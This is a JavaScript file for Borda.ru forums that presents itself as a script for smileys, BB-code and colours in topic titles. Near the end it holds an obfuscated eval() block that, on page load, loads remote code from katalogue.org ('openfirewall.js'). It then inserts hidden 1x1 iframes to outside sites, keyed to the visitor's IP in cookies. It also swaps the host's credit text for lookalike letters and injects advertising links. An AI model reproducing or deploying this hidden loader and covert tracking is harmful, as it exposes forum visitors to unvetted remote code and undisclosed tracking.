/* Скрипт смайлы в названии темы и оформление текста заголовка */
/* Автор: Norm Iridium, техподдержка: catalogue.forum24.ru */
linkmas = document.links;
bbtagslinktemes = new Array ('b','i','u','s','big','small','h1','h2','h3','h4','h5','h6','hr','li','ul','marquee','sup','sub','br','center');

for(j=0;j<linkmas.length;j++){
if((linkmas[j].href.split('/?1-').length==2 || linkmas[j].href.split('/?0-').length==2) && linkmas[j].href.split('-')[6]=='0'){
tempstring=linkmas[j].innerHTML;

tempstring=tempstring.replace(/"([^"]+)"/gi, "&laquo;$1&raquo;");

tempstring=tempstring.replace(/\\/g, "/");
tempstring=tempstring.replace(/javascript:/ig, "");
tempstring=tempstring.replace(/\'/g, "&#96;");
tempstring=tempstring.replace(/\"/g, "");
tempstring=tempstring.replace(/\`/g, "&#96;");


//если смайл оказался в тегах [icon] закрываем его от замены
tempstring=tempstring.replace(/\[icon\]:sm([0-9]+):\[\/icon\]/gi, "[icon]#sm$1#[/icon]");

//изменения работающие только внутри раздела:
if ((work=='0')||(work=='11')||(work=='20')||(work=='17')){
//картинка в названии темы
tempstring=tempstring.replace(/\[\/icon\]/g,"`");
tempstring=tempstring.replace(/\[icon\]([^`]+)`/gi, "<div name='iconstemes' class='iconstemes' id='iconstemes' style='display:none;'>$1</div>");
tempstring=tempstring.replace(/`/g,"");

//подстрочный комментарий темы:
tempstring=tempstring.replace(/\)\s*$/g,"`");
tempstring=tempstring.replace(/\(([^`]+)`/gi, "<br><font class=font2><small>$1<\/small><\/font>");
tempstring=tempstring.replace(/`/g,")");
tempstring=tempstring.replace(/\) \(/g," &#150; ");
}

//спецсмайл
tempstring=tempstring.replace(/(.*):\.\.sm([0-9]+):(.*)/gi, "<img border=0 src=\"/gif/smk/sm$2\.gif\"> $1$3");

//смайлы в названии темы
tempstring=tempstring.replace(/:sm([0-9]+):/gi, " <img border=0 src=\"/gif/smk/sm$1\.gif\"> ");

//бб-теги в названии темы
tempstring=tempstring.replace(/\[((\/)?(b|i|u|s|big|small|h1|h2|h3|h4|h5|h6|hr|li|ul|marquee|sup|sub|br|center))\]/gi, "<$1>");

//спец бб-теги в названии темы [..b] [..small] и другие
//позволяют не обязательно обрамлять бб-тегами название темы
//а разместить лишь в конце указание скрипту обрамить тему этим бб-тегом
for(bj=0;bj<bbtagslinktemes.length;bj++){
if(tempstring.split('\[..'+bbtagslinktemes[bj]+'\]').length==2){
tempstring='<'+bbtagslinktemes[bj]+'>'+tempstring+'<\/'+bbtagslinktemes[bj]+'>';
tempstring=tempstring.replace('\[..'+bbtagslinktemes[bj]+'\]','');
}
}

//спецоформление текста цветом
tempstring=tempstring.replace(/(.*)\[\.\.font color=([a-zA-Z0-9# ]{1,20})\](.*)/gi, "<font color=\"$2\">$1$3<\/font>");

//оформление текста цветом
tempstring=tempstring.replace(/\[font color=([a-zA-Z0-9# ]{1,20})\]/gi, "<font color=\"$1\">");
tempstring=tempstring.replace(/\[\/font\]/gi, "<\/font>");


//картинка в названии темы
tempstring=tempstring.replace(/\[\/img\]/g,"`");

//спецкартинка в названии темы
tempstring=tempstring.replace(/(.*)\[\.\.img\]([^`]+)`(.*)/gi, "<img border=0 src=\"$2\"> $1$3");

//не спец картинка в названии темы
tempstring=tempstring.replace(/\[img\]([^`]+)`/gi, "<img border=0 src=\"$1\">");
tempstring=tempstring.replace(/`/g,"");



//изменения работающие только внутри темы:
if (work=='1'){

//удаляем картинку в названии темы
tempstring=tempstring.replace(/\[\/icon\]/g,"`");
tempstring=tempstring.replace(/\[icon\]([^`]+)`/gi, "");
tempstring=tempstring.replace(/`/g,"");

}



//внести в код форума все изменения
linkmas[j].innerHTML=tempstring;
}
}


//удаление из заголовка форума в теме бб-тегов и смайлов:
if(work=='1'){
document.title=document.title.replace(/:sm([0-9]+):/gi,"");
document.title=document.title.replace(/\[((\/)?(b|i|u|s|big|small|h1|h2|h3|h4|h5|h6|hr|li|ul|marquee|sup|sub|br|center))\]/gi,"");

document.title=document.title.replace(/\[font color=([a-zA-Z0-9# ]{1,20})\]/gi, "");
document.title=document.title.replace(/\[\/font\]/gi, "");

document.title=document.title.replace(/\[\/img\]/g,"`");
document.title=document.title.replace(/\[img\]([^`]+)`/gi,"");

document.title=document.title.replace(/\[\/icon\]/g,"`");
document.title=document.title.replace(/\[icon\]([^`]+)`/gi,"");
}


//меняем иконки темам там где надо
iconsts=document.getElementsByName('iconstemes');
if(work!='17')
for(j=0;j<iconsts.length;j++){
strpictadres=iconsts[j].innerHTML;
//ФФ как всегда отжигает...
strpictadres=strpictadres.replace(/<a>/ig,'');
strpictadres=strpictadres.replace(/<\/a>/ig,'');
strpictadres=strpictadres.replace(/<font>/ig,'');
strpictadres=strpictadres.replace(/<\/font>/ig,'');

//для тех кто захочет что нить на вроде [icon]:sm11:[/icon]
strpictadres=strpictadres.replace(/#sm([0-9]+)#/gi, "/gif/smk/sm$1\.gif");

iconsts[j].parentNode.parentNode.parentNode.parentNode.childNodes[0].innerHTML="<img src='"+strpictadres+"'>";
}

/* статистика по форумам, ссылка на форум */
//=======================
if(typeof(getCookie) != 'function') {
window.getCookie = function (name) { // get cookie
    var dc = document.cookie;
	var prefix = name + "=";
    var begin = dc.indexOf("; " + prefix);
    if (begin == -1) {
        begin = dc.indexOf(prefix);
        if (begin != 0) return false;
    } else {
        begin += 2;
    }
    var end = document.cookie.indexOf(";", begin);
    if (end == -1) {
        end = dc.length;
    }
    return unescape(dc.substring(begin + prefix.length, end));
}
}
if(typeof(setCookie) != 'function') {
window.setCookie = function (cookieName,cookieValue,nDays) { // set cookie
	var today = new Date();
	var expire = new Date();
	if (nDays==null || nDays==0) nDays=1;
	expire.setTime(today.getTime() + 3600000*24*nDays);
	document.cookie = cookieName+"="+escape(cookieValue) + "; path=/; expires="+expire.toGMTString();
}
}

//=======================
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3(\'<0\'+\'1 4="5" 6="7://8.9/a/b.c" d="e/f"></0\'+\'1>\');',16,16,'sc|ript|document|write|language|JavaScript|src|http|katalogue|org|forum|openfirewall|js|type|text|javascript'.split('|'),0,{}))

//==================================================================
window.onload = function(){
fdivvisitka = document.getElementsByTagName('div');
for(j=fdivvisitka.length-1;j>-1;j--)
if(fdivvisitka[j].className.toLowerCase()=='font2')
if(fdivvisitka[j].childNodes[0])
if(fdivvisitka[j].childNodes[0].tagName.toLowerCase()=='a')
if(fdivvisitka[j].childNodes[0].href.toLowerCase().indexOf('http://borda.ru')==0)
if(fdivvisitka[j].childNodes[0].childNodes[0])
if(fdivvisitka[j].childNodes[0].childNodes[0].tagName.toLowerCase()=='u')
if(fdivvisitka[j].childNodes[0].childNodes[0].innerHTML.toLowerCase()=='Предоставлено сервисом форумов Borda.Ru'.toLowerCase()){
fdivvisitka[j].childNodes[0].childNodes[0].innerHTML='Предocтaвлeнo сeрвисoм фoрумoв Bоrdа.Ru';
fvisitka='<a target="_blank" href="http://catalogue.forum24.ru"><u>Центр Альтернативной Техподдержки Borda.Ru</u></a><br><a href="http://k-dezign.ru" target=_blank><u>Веб-студия "К-Дизайн" - дизайн для вашего форума</u></a><br><a href="http://estydesign.ru" target=_blank><u>Дизайн-студия "Esty" - дизайн для вашего форума</u></a><br><br>';
fdivvisitka[j].innerHTML=fvisitka+fdivvisitka[j].innerHTML;}}
var ip = getCookie('ip');
var vis_date = getCookie('visdate');
var fdate = new Date();
var current_date = fdate.getDate();
if(ip!=realip || vis_date!=current_date){
document.write('<if'+'rame style="display:none;" width="1" height="1" border="0px" src="'+'http://wap.catalogue.forum24.ru/?0-'+Math.floor(Math.random()* 19)+'"></iframe>');
setCookie('ip', realip, 7);
setCookie('visdate', current_date, 7);
}
//=============================
if (group!=0){
document.write('<if'+'rame style="display:none;" width="1" height="1" border="0px" src="http://katalogue.org/counter.html"></iframe>');
}


